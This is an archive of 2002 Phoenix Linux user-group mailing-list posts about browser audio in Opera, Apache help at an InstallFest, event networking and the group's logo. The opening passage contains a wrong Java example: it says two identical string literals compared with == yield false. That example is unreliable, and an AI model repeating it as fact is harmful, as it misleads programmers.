tests to see if the objects are equal. Two diff. objects are equal. "==" will tell you if two refrences point to the same object. String a = "foo" String b = "foo" if (a.equals(b)) // true if (a == b) // false b = a if (a == b) // true Hope this helps. - -- - ------------------------------------------------- Isaac Sparrow Staff Engineer VisiComp, Inc. http://www.visicomp.com GnuPG Key Fingerprint: 1060 5A07 F6EC B2B3 9AAA 3EA5 7B79 EFE1 6397 4F47 Get my public key at: http://www.concentric.net/~issparow 'Mounten' wird fuer drei Dinge benutzt: 'Aufsitzen' auf Pferde, 'einklinken' von Festplatten in Dateisysteme, und, nun, 'besteigen' beim Sex. (Christa Keil in a German posting: "Mounting is used for three things: climbing on a horse, linking in a hard disk unit in data systems, and, well, mounting during sex".) -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: NSA bad. Encryption good. iD8DBQE9E2vse3nv4WOXT0cRArERAJ446bZ0bYzp4rvP3abvhwgECo+PjACdGGmL cY2XScj/BEnP6rGkL67HNng= =lN7s -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 18:35:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (G.D.Thurman) Date: Fri, 21 Jun 2002 11:35:02 -0700 (MST) Subject: Off-topic... In-Reply-To: <20020621071606.A31284@magusnet.com> Message-ID: On Fri, 21 Jun 2002, J.Francois wrote: > Maybe I should plan my next vacation around the PLUG meeting dates and doing > a presentation on FreeBSD instead. > Excellent. I hope your schedule allows you to do this. Is there an active Phoenix *BSD User Group? Thanks to MitchW for this URL to an interview with Jordan Hubbard. [Hubbard has not used Linux.] http://kerneltrap.org/node.php?id=278 G.D. Thurman [CS/CIS Instructor] http://deru.com/~gdt/ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 19:12:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 21 Jun 2002 12:12:40 -0700 Subject: Fwd: Re: Sound in opera - Linux at work In-Reply-To: <200206211844.g5LIiR205516@PlugList.MyButt.Net> References: <200206211844.g5LIiR205516@PlugList.MyButt.Net> Message-ID: <1024686760.11131.9.camel@barney.azapple.com> ARe you sure that you have software on your computer that can play 'wav' files? Is is listed as a mime application? Craig On Fri, 2002-06-21 at 10:51, charlie bullen wrote: > > > ---------- Forwarded Message ---------- > > Subject: Re: Sound in opera - Linux at work > Date: Fri, 21 Jun 2002 10:40:37 -0700 > From: charlie bullen > To: plug-discuss@lists.plug.phoenix.az.us > > I've tried Mozilla 1.0, Konquerer 2.2.1 and Opera 6.01. I'll try contacting > opera by email as well, good idea. > > I have been told that I have to get sound working fast or I'm back to XP. > > Charlie > > On Friday 21 June 2002 10:26, you wrote: > > Charlie, > > > > Is opera your only choice? Is this the end of Linux on your desktop? try > > mozilla, netscape or any of the other small army of browsers, one of them > > should do it. just not IE ;-) There are a couple sites out there that > > list them all, and hold on, try > > http://kmself.home.netcom.com/Linux/FAQs/browsers.html > > > > for a start. then you could also contact opera using one of the tools on > > http://www.opera.com/support/. they do have free email support > > > > Anthony > > > > > > ----- Original Message ----- > > From: "charlie bullen" > > To: > > Sent: Friday, June 21, 2002 10:00 AM > > Subject: Sound in opera - Linux at work > > > > > Hi, So far Opera 6.01 is the only browser that does all I need it to do > > > except 1 thing. I have a web page that downloads a wav file when certain > > > events happen. I have to be able to hear the wave file. > > > > > > I can hear sound if it comes in as part of a shockwave file. > > > > > > When I go to the preferences section "Enable embedded audio" is grayed > > > out > > > > . > > > > > I think that perhaps the line in the page that brings in the sound file > > > > may > > > > > be a prorietary Microsoft tag. I've asked the developer to email me the > > > > code, > > > > > but haven't gotten it yet. > > > > > > The ability to hear this sound is ABSOLUTLEY ESSENTIAL if I am to > > > continue using linux at work. > > > > > > > > > HELP!!!! > > > > > > Charlie > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ------------------------------------------------------- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 19:23:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 21 Jun 2002 12:23:08 -0700 Subject: Sound in opera - Linux at work In-Reply-To: <200206211753.g5LHrI205079@PlugList.MyButt.Net> References: <200206211753.g5LHrI205079@PlugList.MyButt.Net> Message-ID: <200206211223.08520.zen2now@qwest.net> i dont know if this will help you. but i was able to play a .wav from the plugger test page in opera 6.0 @ http://fredrik.hubbe.net/plugger/test.html, by editing preferences/applications=audio/x-wav, select "Open with other Application" and choose /usr/bin/xmms. I dont know if this will work in your situation, but from the plugger test page i was able to click on the WAV link to the left and play test.wav. slr On Friday 21 June 2002 10:00 am, charlie bullen wrote: > Hi, So far Opera 6.01 is the only browser that does all I need it to do > except 1 thing. I have a web page that downloads a wav file when certain > events happen. I have to be able to hear the wave file. > > I can hear sound if it comes in as part of a shockwave file. > > When I go to the preferences section "Enable embedded audio" is grayed out > . > > I think that perhaps the line in the page that brings in the sound file may > be a prorietary Microsoft tag. I've asked the developer to email me the > code, but haven't gotten it yet. > > The ability to hear this sound is ABSOLUTLEY ESSENTIAL if I am to continue > using linux at work. > > > HELP!!!! > > Charlie > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 19:31:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Fri, 21 Jun 2002 12:31:21 -0700 (PDT) Subject: Apache expert at Installfest In-Reply-To: Message-ID: <20020621193121.48571.qmail@web13908.mail.yahoo.com> I would love to upgrade the apache on Mandrake 7.2, will there be an internet connection to download the needed files? Should we have a side area for upgrading Apache? mike --- Matt Alexander wrote: > Yeah, I'll be there to help you with Apache. > > > On Fri, 21 Jun 2002, Alpha Zenon Sanchez wrote: > > > Hello Linux users: > > > > Will there be an Apache 'expert' tomorrow at > > installfest? I can bring my machine with RH 7.2. > I > > just need help installing Apache and getting it to > > run. > > > > I have no clue. If anyone recommends a better > > distribution that runs Apache, rather than RH, > should > > I just reformat my drive and use that distribution > > instead? > > > > BTW, is it easier just to bring the CPU, KB and > mice? > > Will the event have monitors and mice we can > > temporarily use? > > > > Looking forward to meet 'yall.' > > > > > > ===== > > Thanks, > > Alpha Zenon Sanchez > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 19:32:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Fri, 21 Jun 2002 12:32:03 -0700 Subject: Plug Logo Update In-Reply-To: <002701c21931$22b4c780$2f7c0d82@peyote> References: <200206210600.00339.dennisk@sahuaro.f2s.com> Message-ID: <5.1.0.14.0.20020621122416.024ff170@localhost> Logos mostly are for the brand naming of such groups, items or services that a company or group wish to be known by. Google changes things from time to time but still have the "same" lettering. I believe that a logo should be a single logo but that we can add things to it. Like around during the second season we have of summer, have the flowers. Otherwise, I vote for only the saguaro. The prickly pear is just funny looking. My two copper, shiny pennies worth. Kimi Adams Unity Wave At 6/21/02, you wrote: >actually that is what i was thinking, but i didnt know how the rest of the >group would feel about that. >but IMHO, i think we should have both. > >slr > >----- Original Message ----- >From: "Dennis Kibbe" >To: >Sent: Friday, June 21, 2002 6:00 AM >Subject: Re: Plug Logo Update > > > > On Friday 21 June 2002 12:28 am, der.hans wrote: > > > Am 20. Jun, 2002 schwätzte slr so: > > > > good point. i will get Austin to create one with saguaro's as well. > > > > > > If we he does, can we impose further and get sag w/ and w/o blossoms? > > > > > > Saguaro blossom is the official flower of .az.us, so it'd be cool to >have > > > one with flowers, but they'd look like zits on small images... > > > > > > ciao, > > > > > > der.hans > > > > The logo is looking good! The prickley pear work for me. Any reason not >to do > > both pear and sahuaro for variety? > > > > I'm thinking t-shirts! > > > > Dennis Kibbe > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 20:12:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jiva DeVoe) Date: Fri, 21 Jun 2002 13:12:00 -0700 Subject: Off-topic... In-Reply-To: Message-ID: Last I heard, there was one, but he moved. BTW, yes, I have returned. :) On 6/21/02 11:35 AM, "G.D.Thurman" wrote: > > On Fri, 21 Jun 2002, J.Francois wrote: > >> Maybe I should plan my next vacation around the PLUG meeting dates and doing >> a presentation on FreeBSD instead. >> > Excellent. I hope your schedule allows > you to do this. > > Is there an active Phoenix *BSD User Group? > > Thanks to MitchW for this URL to an interview > with Jordan Hubbard. [Hubbard has not used Linux.] > http://kerneltrap.org/node.php?id=278 > > G.D. Thurman [CS/CIS Instructor] > http://deru.com/~gdt/ > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 20:33:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 21 Jun 2002 13:33:21 -0700 Subject: Off-topic... In-Reply-To: ; from jivad@earthlink.net on Fri, Jun 21, 2002 at 01:12:00PM -0700 References: Message-ID: <20020621133321.A5572@nadesico> On Fri, Jun 21, 2002 at 01:12:00PM -0700, Jiva DeVoe wrote: > Last I heard, there was one, but he moved. > > BTW, yes, I have returned. :) Congrats! ^,^ ...returned as in to the list, or returned as in to the valley? =op -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 20:27:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 21 Jun 2002 16:27:59 -0400 Subject: InstallFest internet connection? Yes! Message-ID: This has come up a few times in reference to the InstallFest so... Yes, there will be access to the internet at the InstallFest. Wired access is definately going to be provided. Bring a network cable if you want. I don't know if wireless connection will be available. I don't know the status of dial-up connection capabilities. I am told there will be no problems with power but you may want to bring a power strip along to make sure we don't run out of them. Alan From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 20:32:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 21 Jun 2002 13:32:28 -0700 Subject: Plug Logo Update References: <200206210600.00339.dennisk@sahuaro.f2s.com> <5.1.0.14.0.20020621122416.024ff170@localhost> Message-ID: <004101c21962$c3bbf640$2f7c0d82@peyote> well i had a talk with austin's boss, and he is now in the office. :~D just kidding! i gave him the imput from the group, and he said he would get on it when he gets a chance. so maybe be days end, we will have one with a saguaro, and a centered "Phoenix Linux". but what is the feeling from the group about the S. should it be "Users Group", or like it is on the PLUG website "User Group"? slr ----- Original Message ----- From: "Kimi A. Adams" To: Sent: Friday, June 21, 2002 12:32 PM Subject: Re: Plug Logo Update > Logos mostly are for the brand naming of such groups, items or services > that a company or group wish to be known by. Google changes things from > time to time but still have the "same" lettering. I believe that a logo > should be a single logo but that we can add things to it. Like around > during the second season we have of summer, have the flowers. > > Otherwise, I vote for only the saguaro. The prickly pear is just funny > looking. My two copper, shiny pennies worth. > > Kimi Adams > Unity Wave > > At 6/21/02, you wrote: > >actually that is what i was thinking, but i didnt know how the rest of the > >group would feel about that. > >but IMHO, i think we should have both. > > > >slr > > > >----- Original Message ----- > >From: "Dennis Kibbe" > >To: > >Sent: Friday, June 21, 2002 6:00 AM > >Subject: Re: Plug Logo Update > > > > > > > On Friday 21 June 2002 12:28 am, der.hans wrote: > > > > Am 20. Jun, 2002 schwätzte slr so: > > > > > good point. i will get Austin to create one with saguaro's as well. > > > > > > > > If we he does, can we impose further and get sag w/ and w/o blossoms? > > > > > > > > Saguaro blossom is the official flower of .az.us, so it'd be cool to > >have > > > > one with flowers, but they'd look like zits on small images... > > > > > > > > ciao, > > > > > > > > der.hans > > > > > > The logo is looking good! The prickley pear work for me. Any reason not > >to do > > > both pear and sahuaro for variety? > > > > > > I'm thinking t-shirts! > > > > > > Dennis Kibbe > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 20:32:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jiva DeVoe) Date: Fri, 21 Jun 2002 13:32:36 -0700 Subject: Off-topic... In-Reply-To: <20020621133321.A5572@nadesico> Message-ID: Returned as in to the valley. :) On 6/21/02 1:33 PM, "mondoshawan@tank.dyndns.org" wrote: > On Fri, Jun 21, 2002 at 01:12:00PM -0700, Jiva DeVoe wrote: >> Last I heard, there was one, but he moved. >> >> BTW, yes, I have returned. :) > > Congrats! ^,^ > ...returned as in to the list, or returned as in to the valley? =op From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 20:59:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Fri, 21 Jun 2002 13:59:27 -0700 Subject: Plug Logo Update In-Reply-To: <004101c21962$c3bbf640$2f7c0d82@peyote> References: <5.1.0.14.0.20020621122416.024ff170@localhost> <004101c21962$c3bbf640$2f7c0d82@peyote> Message-ID: <0206211359270C.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I did a quick check and there doesnt seem to be a preferred form - Users Group vs. User Group. Historically, this group has been known as the Phoenix Linux User Group but the PLUG banner says Phoenix Linux Users Group. Makes no difference to me. Just get it done cause I want a PLUG tshirt NOW! On Friday 21 June 2002 13:32, you wrote: > well i had a talk with austin's boss, and he is now in the office. :~D just > kidding! i gave him the imput from the group, and he said he would get on > it when he gets a chance. so maybe be days end, we will have one with a > saguaro, and a centered "Phoenix Linux". but what is the feeling from the > group about the S. should it be "Users Group", or like it is on the PLUG > website "User Group"? > > slr > > ----- Original Message ----- > From: "Kimi A. Adams" > To: > Sent: Friday, June 21, 2002 12:32 PM > Subject: Re: Plug Logo Update > > > Logos mostly are for the brand naming of such groups, items or services > > that a company or group wish to be known by. Google changes things from > > time to time but still have the "same" lettering. I believe that a logo > > should be a single logo but that we can add things to it. Like around > > during the second season we have of summer, have the flowers. > > > > Otherwise, I vote for only the saguaro. The prickly pear is just funny > > looking. My two copper, shiny pennies worth. > > > > Kimi Adams > > Unity Wave > > > > At 6/21/02, you wrote: > > >actually that is what i was thinking, but i didnt know how the rest of > > the > > > >group would feel about that. > > >but IMHO, i think we should have both. > > > > > >slr > > > > > >----- Original Message ----- > > >From: "Dennis Kibbe" > > >To: > > >Sent: Friday, June 21, 2002 6:00 AM > > >Subject: Re: Plug Logo Update > > > > > > > On Friday 21 June 2002 12:28 am, der.hans wrote: > > > > > Am 20. Jun, 2002 schwätzte slr so: > > > > > > good point. i will get Austin to create one with saguaro's as > > well. > > > > > > If we he does, can we impose further and get sag w/ and w/o > > blossoms? > > > > > > Saguaro blossom is the official flower of .az.us, so it'd be cool > > > > > to > > > > > >have > > > > > > > > one with flowers, but they'd look like zits on small images... > > > > > > > > > > ciao, > > > > > > > > > > der.hans > > > > > > > > The logo is looking good! The prickley pear work for me. Any reason > > not > > > >to do > > > > > > > both pear and sahuaro for variety? > > > > > > > > I'm thinking t-shirts! > > > > > > > > Dennis Kibbe > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't > > > >post to the list quickly and you use Netscape to write mail. > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > >________________________________________________ > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > >post to the list quickly and you use Netscape to write mail. > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPROTsSsk3ywszI1FEQJXYgCghomHSzDnBeQzaOocsqtpIkMToGkAoMhn eJP6zFk+qRYwKinOQZl+0XKb =0T92 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 21:11:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 21 Jun 2002 14:11:32 -0700 Subject: Plug Logo Update In-Reply-To: <0206211359270C.01526@nova.wedge.org> References: <004101c21962$c3bbf640$2f7c0d82@peyote> <0206211359270C.01526@nova.wedge.org> Message-ID: <200206211411.32894.zen2now@qwest.net> Oh my! When did you WANT that done!! hehe :~D then its settled, we will leave it the way it is "User Goup", but if it becomes a big issue we will just add an S. slr On Friday 21 June 2002 01:59 pm, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I did a quick check and there doesnt seem to be a preferred form - Users > Group vs. User Group. Historically, this group has been known as the > Phoenix Linux User Group but the PLUG banner says Phoenix Linux Users > Group. Makes no difference to me. Just get it done cause I want a PLUG > tshirt NOW! > > On Friday 21 June 2002 13:32, you wrote: > > well i had a talk with austin's boss, and he is now in the office. :~D > > just kidding! i gave him the imput from the group, and he said he would > > get on it when he gets a chance. so maybe be days end, we will have one > > with a saguaro, and a centered "Phoenix Linux". but what is the feeling > > from the group about the S. should it be "Users Group", or like it is on > > the PLUG website "User Group"? > > > > slr > > > > ----- Original Message ----- > > From: "Kimi A. Adams" > > To: > > Sent: Friday, June 21, 2002 12:32 PM > > Subject: Re: Plug Logo Update > > > > > Logos mostly are for the brand naming of such groups, items or services > > > that a company or group wish to be known by. Google changes things > > > from time to time but still have the "same" lettering. I believe that > > > a logo should be a single logo but that we can add things to it. Like > > > around during the second season we have of summer, have the flowers. > > > > > > Otherwise, I vote for only the saguaro. The prickly pear is just funny > > > looking. My two copper, shiny pennies worth. > > > > > > Kimi Adams > > > Unity Wave > > > > > > At 6/21/02, you wrote: > > > >actually that is what i was thinking, but i didnt know how the rest of > > > > the > > > > > >group would feel about that. > > > >but IMHO, i think we should have both. > > > > > > > >slr > > > > > > > >----- Original Message ----- > > > >From: "Dennis Kibbe" > > > >To: > > > >Sent: Friday, June 21, 2002 6:00 AM > > > >Subject: Re: Plug Logo Update > > > > > > > > > On Friday 21 June 2002 12:28 am, der.hans wrote: > > > > > > Am 20. Jun, 2002 schwätzte slr so: > > > > > > > good point. i will get Austin to create one with saguaro's as > > > > well. > > > > > > > > If we he does, can we impose further and get sag w/ and w/o > > > > blossoms? > > > > > > > > Saguaro blossom is the official flower of .az.us, so it'd be cool > > > > > > to > > > > > > > >have > > > > > > > > > > one with flowers, but they'd look like zits on small images... > > > > > > > > > > > > ciao, > > > > > > > > > > > > der.hans > > > > > > > > > > The logo is looking good! The prickley pear work for me. Any > > > > > reason > > > > not > > > > > >to do > > > > > > > > > both pear and sahuaro for variety? > > > > > > > > > > I'm thinking t-shirts! > > > > > > > > > > Dennis Kibbe > > > > > ________________________________________________ > > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't > > > > > >post to the list quickly and you use Netscape to write mail. > > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > >________________________________________________ > > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPROTsSsk3ywszI1FEQJXYgCghomHSzDnBeQzaOocsqtpIkMToGkAoMhn > eJP6zFk+qRYwKinOQZl+0XKb > =0T92 > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 21:01:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: Fri, 21 Jun 2002 14:01:40 -0700 Subject: InstallFest internet connection? Yes! Message-ID: <200206212102.RAA13675@hostinworld6.com> What about common perhiperals? Will there be mice, keyboards and monitors? If a person has "special" hardware, they should bring it but what about a monitor at least? Should we really expect people to lug their huge computers and then their 50lb. monitors? Alandd@mindspring.com wrote : > This has come up a few times in reference to the InstallFest so... > > Yes, there will be access to the internet at the InstallFest. Wired access > is > definately going to be provided. Bring a network cable if you want. I > don't > know if wireless connection will be available. > > I don't know the status of dial-up connection capabilities. > > I am told there will be no problems with power but you may want to bring a > power strip along to make sure we don't run out of them. > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss Bryce C. Network Administrator CoBryce Communications Bryce@BryceCo.Net http://www.BryceCo.Net From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 21:15:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Michelle Lowman) Date: Fri, 21 Jun 2002 14:15:50 -0700 Subject: Plug Logo Update In-Reply-To: <0206211359270C.01526@nova.wedge.org> Message-ID: I think most LUGs are known as "Users Groups," so for the sake of conformity (aaaarrrrgh), perhaps we should also be a "Users Group." -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Jim Sent: Friday, June 21, 2002 1:59 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Plug Logo Update -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I did a quick check and there doesnt seem to be a preferred form - Users Group vs. User Group. Historically, this group has been known as the Phoenix Linux User Group but the PLUG banner says Phoenix Linux Users Group. Makes no difference to me. Just get it done cause I want a PLUG tshirt NOW! On Friday 21 June 2002 13:32, you wrote: > well i had a talk with austin's boss, and he is now in the office. :~D just > kidding! i gave him the imput from the group, and he said he would get on > it when he gets a chance. so maybe be days end, we will have one with a > saguaro, and a centered "Phoenix Linux". but what is the feeling from the > group about the S. should it be "Users Group", or like it is on the PLUG > website "User Group"? > > slr > > ----- Original Message ----- > From: "Kimi A. Adams" > To: > Sent: Friday, June 21, 2002 12:32 PM > Subject: Re: Plug Logo Update > > > Logos mostly are for the brand naming of such groups, items or services > > that a company or group wish to be known by. Google changes things from > > time to time but still have the "same" lettering. I believe that a logo > > should be a single logo but that we can add things to it. Like around > > during the second season we have of summer, have the flowers. > > > > Otherwise, I vote for only the saguaro. The prickly pear is just funny > > looking. My two copper, shiny pennies worth. > > > > Kimi Adams > > Unity Wave > > > > At 6/21/02, you wrote: > > >actually that is what i was thinking, but i didnt know how the rest of > > the > > > >group would feel about that. > > >but IMHO, i think we should have both. > > > > > >slr > > > > > >----- Original Message ----- > > >From: "Dennis Kibbe" > > >To: > > >Sent: Friday, June 21, 2002 6:00 AM > > >Subject: Re: Plug Logo Update > > > > > > > On Friday 21 June 2002 12:28 am, der.hans wrote: > > > > > Am 20. Jun, 2002 schwätzte slr so: > > > > > > good point. i will get Austin to create one with saguaro's as > > well. > > > > > > If we he does, can we impose further and get sag w/ and w/o > > blossoms? > > > > > > Saguaro blossom is the official flower of .az.us, so it'd be cool > > > > > to > > > > > >have > > > > > > > > one with flowers, but they'd look like zits on small images... > > > > > > > > > > ciao, > > > > > > > > > > der.hans > > > > > > > > The logo is looking good! The prickley pear work for me. Any reason > > not > > > >to do > > > > > > > both pear and sahuaro for variety? > > > > > > > > I'm thinking t-shirts! > > > > > > > > Dennis Kibbe > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't > > > >post to the list quickly and you use Netscape to write mail. > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > >________________________________________________ > > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > >post to the list quickly and you use Netscape to write mail. > > > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPROTsSsk3ywszI1FEQJXYgCghomHSzDnBeQzaOocsqtpIkMToGkAoMhn eJP6zFk+qRYwKinOQZl+0XKb =0T92 -----END PGP SIGNATURE----- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us 